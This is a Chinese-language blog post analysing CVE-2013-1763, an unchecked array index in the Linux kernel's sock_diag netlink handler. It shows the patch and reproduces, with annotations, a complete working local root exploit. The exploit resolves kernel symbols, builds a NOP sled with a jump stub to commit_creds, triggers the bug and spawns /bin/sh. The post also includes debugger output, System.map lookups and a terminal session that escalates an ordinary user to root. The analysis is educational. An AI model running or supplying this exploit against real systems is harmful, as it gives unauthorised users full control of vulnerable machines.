kernel 最近出了一个新的本地提权安全漏洞CVE-2013-1763,影响范围比较广泛,ubuntu,Arch,fedora都受到其影响,漏洞刚公布就有牛人发布了利用该漏洞获取root权限的攻击代码,下面会分析该代码是如何获取root权限的。
首先对CVE-2013-1763这个安全漏洞简单介绍一下。
1. 漏洞描述
在net/core/sock_diag.c中,__sock_diag_rcv_msg函数未对sock_diag_handlers数组传入的下标做边界检查,导致可能越界,进而导致可执行代码的漏洞。没有root权限的用户可以利用该漏洞获取到root权限。
2. 漏洞的影响范围
linux kernel 3.0-3.7.10
3. 漏洞曝光时间
2013/02/19
4. 漏洞产生的原因
首先看一下这个漏洞的patch:
1
2
3
4
5
6
7
8
9
10
11
|
net/core/sock_diag.c View file @ 6e601a5 @@ -121,6 +121,9 @@ static int __sock_diag_rcv_msg( struct sk_buff *skb, struct nlmsghdr *nlh) if (nlmsg_len(nlh) < sizeof (*req)) return -EINVAL; + if (req->sdiag_family >= AF_MAX) + return -EINVAL; + hndl = sock_diag_lock_handler(req->sdiag_family); if (hndl == NULL) err = -ENOENT; |
Patch 很简单,只是加上了数组边界判断而已。那么在看看sock_diag_lock_hander这个函数做了些什么:
1
2
3
4
5
6
7
8
9
|
static const inline struct sock_diag_handler *sock_diag_lock_handler( int family) { if (sock_diag_handlers[family] == NULL) request_module( "net-pf-%d-proto-%d-type-%d" , PF_NETLINK, NETLINK_SOCK_DIAG, family); mutex_lock(&sock_diag_table_mutex); return sock_diag_handlers[family]; //这个函数没有对传入的family的值的范围,进行验证,从而造成数组越界. } |
这个函数也没有做什么,只是对 sock_diag_lock_hander[family]进行检测,是否为NULL,如果为NULL申请注册,然后加上了一把锁,最后返回的是它的地址。
1
|
static struct sock_diag_handler *sock_diag_handlers[AF_MAX]; //可以看出,这个指针数组最大为AF_MAX AF_MAX = 40. |
接着我们再看看完整的__sock_diag_rcv_msg函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
static int __sock_diag_rcv_msg( struct sk_buff *skb, struct nlmsghdr *nlh) { int err; struct sock_diag_req *req = NLMSG_DATA(nlh); struct sock_diag_handler *hndl; if (nlmsg_len(nlh) < sizeof (*req)) return -EINVAL; hndl = sock_diag_lock_handler(req->sdiag_family); //这里传入sdiag_family的值,然后返回数组指针sock_diag_handlers[reg->sdiag_family].由于没有做边界判断,那么就可以越界。 if (hndl == NULL) err = -ENOENT; else err = hndl->dump(skb, nlh); //看到这里是不是很激动呢,利用这里可以让它执行我们自己的代码 sock_diag_unlock_handler(hndl); return err; } |
5. 漏洞的利用
虽然已经找到了kernel中有这样一个漏洞,但是如何利用这个漏洞来执行我们自己的程序,取得root权限还是需要很困难的,需要对kernel系统以及计算机运行原理非常了解才可以,并且这些程序往往需要精细设计才能达到最终的目的。 下面是某牛人写的exploit代码,请欣赏:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
|
/* * quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8 * bug found by Spender * poc by SynQ * * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux * using nl_table->hash.rehash_time, index 81 * * Fedora 18 support added * * 2/2013 */ #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <netinet/tcp.h> #include <errno.h> #include <linux/if.h> #include <linux/filter.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <linux/sock_diag.h> #include <linux/inet_diag.h> #include <linux/unix_diag.h> #include <sys/mman.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long sock_diag_handlers, nl_table; int __attribute__((regparm(3))) //这是指示GCC编译器选用3个寄存器代替堆栈来传递参数。 kernel_code() { commit_creds(prepare_kernel_cred(0)); //这行代码执行之后就可以获取root权限,但是这两个函数都是内核函数,必须在内核态执行才有效。 return -1; } //这段函数没有使用,用来解释hard code jump[] 为什么是那些数值 int jump_payload_not_used( void *skb, void *nlh) { asm volatile ( "mov $kernel_code, %eax\n" "call *%eax\n" ); } unsigned long get_symbol( char *name) //为了获取内核函数地址 { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen ( "/proc/kallsyms" , "r" ); if (!f) { return 0; } while (ret != EOF) { ret = fscanf (f, "%p %c %s\n" , ( void **) &addr, &dummy, sym); if (ret == 0) { fscanf (f, "%s\n" , sym); continue ; } if (! strcmp (name, sym)) { printf ( "[+] resolved symbol %s to %p\n" , name, ( void *) addr); fclose (f); return addr; } } fclose (f); return 0; } int main( int argc, char *argv[]) { int fd; unsigned family; struct { struct nlmsghdr nlh; //socket协议netlink数据包的格式 struct unix_diag_req r; } req; char buf[8192]; //创建一个netlink协议的socket,因为__sock_diag_rcv_msg函数是属于NETLINK_SOCK_DIAG的 if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){ printf ( "Can't create sock diag socket\n" ); return -1; } //填充数据包,就是为了最终能够执行到__sock_diag_rcv_msg中去 memset (&req, 0, sizeof (req)); req.nlh.nlmsg_len = sizeof (req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_seq = 123456; //req.r.sdiag_family = 89; req.r.udiag_states = -1; req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; if (argc==1){ printf ( "Run: %s Fedora|Ubuntu\n" ,argv[0]); return 0; } else if ( strcmp (argv[1], "Fedora" )==0){ commit_creds = (_commit_creds) get_symbol( "commit_creds" ); prepare_kernel_cred = (_prepare_kernel_cred) get_symbol( "prepare_kernel_cred" ); sock_diag_handlers = get_symbol( "sock_diag_handlers" ); nl_table = get_symbol( "nl_table" ); if (!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){ printf ( "some symbols are not available!\n" ); exit (1); } family = (nl_table - sock_diag_handlers) / 4; printf ( "family=%d\n" ,family); req.r.sdiag_family = family; if (family>255){ printf ( "nl_table is too far!\n" ); exit (1); } } else if ( strcmp (argv[1], "Ubuntu" )==0){ commit_creds = (_commit_creds) 0xc106bc60; prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0; req.r.sdiag_family = 81; } unsigned long mmap_start, mmap_size; mmap_start = 0x10000; //选择了一块1MB多的内存区域 mmap_size = 0x120000; printf ( "mmapping at 0x%lx, size = 0x%lx\n" , mmap_start, mmap_size); if (mmap(( void *)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf ( "mmap fault\n" ); exit (1); } memset (( void *)mmap_start, 0x90, mmap_size); //将其全部填充为0x90,在X86系统中对应的是NOP指令 char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3" ; // jump_payload in asm unsigned long *asd = &jump[4]; *asd = (unsigned long )kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11 //将jump这段代码放在mmap内存区域的最后,也就是说只要最后能够跳转到这块区域,就可以执行到jump代码,进而跳转执行kernel_code,因为这块区域中布满了NOP指令。 memcpy ( ( void *)mmap_start+mmap_size- sizeof (jump), jump, sizeof (jump)); //所有准备工作完成之后,最后在这里发送socket触发这个漏洞 if ( send(fd, &req, sizeof (req), 0) < 0) { printf ( "bad send\n" ); close(fd); return -1; } printf ( "uid=%d, euid=%d\n" ,getuid(), geteuid() ); if (!getuid()) system ( "/bin/sh" ); } |
6. exploit代码分析
在分析之前,有些概念要澄清一下,在linux系统中,用户空间和内核空间是独立存在的。在一个32位的linux系统中,每个进程会虚拟出4G的内存空间,其中3G是用户空间,1G是内核空间,用户空间的地址范围是0×00000000 到 0xBFFFFFFF,内核空间的地址是0xC0000000 到 0xFFFFFFFF。内核地址空间由所有进程共享,但只有运行在内核态的进程才能访问,用户进程可以通过系统调用切换到内核态访问内核空间,进程运行在内核态时所产生的地址都属于内核空间。
commit_creds 和prepare_kernel_cred 均为内核函数,如果要执行他们就应该切换到内核状态运行。当执行内核函数__sock_diag_rcv_msg是处于内核态的,所以这个时候调用执行kernel_code函数就可以取得root权限。
那么如何调用kernel_code函数呢?所有我们mmap了一块从0x10000开始0x120000大小的内存空间,然后将这块空间写满NOP指令,将跳转执行kernel_code的代码放在这块区域的最后面,也就是说,只要跳转执行到这块内存区域的(除了jump代码块内部)都会顺利跑到kernel_code函数。这种方法叫做NOP slide,就像坐滑滑梯一样,自然滑到底部。jump这一段代码的分析如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3" ; // jump_payload in asm unsigned long *asd = &jump[4]; *asd = (unsigned long )kernel_code; int jump_payload_not_used( void *skb, void *nlh) { asm volatile ( "mov $kernel_code, %eax\n" "call *%eax\n" ); } fengguoqing@VirtualBox:~/Downloads$ gcc CVE-2013-1763.c CVE-2013-1763.c: In function ‘main’: CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default ] fengguoqing@VirtualBox:~/Downloads$ objdump -D a.out …. 08048763 <jump_payload_not_used>: 8048763: 55 push %ebp 8048764: 89 e5 mov %esp,%ebp 8048766: b8 3c 87 04 08 mov $0x804873c,%eax 804876b: ff d0 call *%eax 804876d: 5d pop %ebp 804876e: c3 ret …. (gdb) p/x jump $2 = {0x55, 0x89, 0xe5, 0xb8, 0x3c, 0x87, 0x4, 0x8, 0xff, 0xd0, 0x5d, 0xc3, 0x0} //最后发现0x11被填充成了kernel_code的地址 (gdb) p kernel_code $4 = { int ()} 0x804873c <kernel_code> |
问题的关键变成了如何才能跳转到这一块内存区域呢?先看看下面这结构体的定义:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
struct nlmsghdr { __u32 nlmsg_len; /* Length of message including header */ __u16 nlmsg_type; /* Message content */ __u16 nlmsg_flags; /* Additional flags */ __u32 nlmsg_seq; /* Sequence number */ __u32 nlmsg_pid; /* Sending process port ID */ }; struct unix_diag_req { __u8 sdiag_family; __u8 sdiag_protocol; __u16 pad; __u32 udiag_states; __u32 udiag_ino; __u32 udiag_show; __u32 udiag_cookie[2]; }; struct sock_diag_handler { __u8 family; // int (*dump)( struct sk_buff *skb, struct nlmsghdr *nlh); }; struct netlink_table { struct nl_portid_hash hash; //取回这个值 struct hlist_head mc_list; struct listeners __rcu *listeners; unsigned int flags; unsigned int groups; struct mutex *cb_mutex; struct module *module; void (*bind)( int group); int registered; }; struct nl_portid_hash { struct hlist_head *table; 四个字节 unsigned long rehash_time; //也是四个字节.0x00012b59//这个值在我们的那个范围内. unsigned int mask; unsigned int shift; unsigned int entries; unsigned int max_shift; u32 rnd; }; static struct netlink_table *nl_table; |
我们的牛人发现了nl_table里面有一个变量rehash_time的值正好在0x10000-0x130000这个区域内,所以可以利用这个值来跳转,只需要将sock_diag_handlers[sdiag_family]-dump正好落在这个值上就可以了。如下图所示
所以我们需要先知道nl_table和sock_diag_handlers的地址,可以通过以下两种方式查看。
1
2
|
cat /proc/kallsyms sudo cat /boot/System .map-3.2.0-43-generic-pae |
但是在ubuntu系统中前一种方法无法查看到变量函数的地址,所以只有使用第二种方法了,由于 nl_table和 sock_diag_handlers都是指针,所以他们的大小都是4个字节。于是就可以计算出 sdiag_family的取值了。
1
2
3
4
5
6
7
8
|
fengguoqing@VirtualBox:~$ sudo cat /boot/System .map-3.5.0-17-generic | grep nl_table c189b5c0 d nl_table_lock c189b5c4 d nl_table_wait c1a488e0 b nl_table_users c1a488e4 b nl_table fengguoqing@VirtualBox:~$ sudo cat /boot/System .map-3.5.0-17-generic | grep sock_diag_handlers c1a487a0 b sock_diag_handlers (0xc1a488e4 - 0xc1a487a0) / 4 = 81L |
至此所有的谜题都解开了,然后就可以高高兴兴的黑自己一把了:
1
2
3
4
5
6
7
8
9
10
|
fengguoqing@VirtualBox:~ /Downloads $ gcc -o CVE-2013-1763 CVE-2013-1763.c CVE-2013-1763.c: In function ‘main’: CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default] fengguoqing@VirtualBox:~ /Downloads $ id uid=1000(fengguoqing) gid=1000(fengguoqing) groups =1000(fengguoqing),4(adm),24(cdrom),27( sudo ),30(dip),46(plugdev),107(lpadmin),124(sambashare) fengguoqing@VirtualBox:~ /Downloads $ . /CVE-2013-1763 Ubuntu mmapping at 0x10000, size = 0x120000 uid=0, euid=0 # id uid=0(root) gid=0(root) groups =0(root) |
由于在sock_diag_lock_handler中有mutex_lock(&sock_diag_table_mutex),但是我们在后面将程序引入到其他地方,并没有接着执行 mutex_unlock(&sock_diag_table_mutex),所以按道理只能root成功一次,但是我在测试中发现有时候可以root多次,有时候root一次之后就不能再root了,需要重启才可以重新root。
来源:https://www.cnblogs.com/presists/p/3864988.html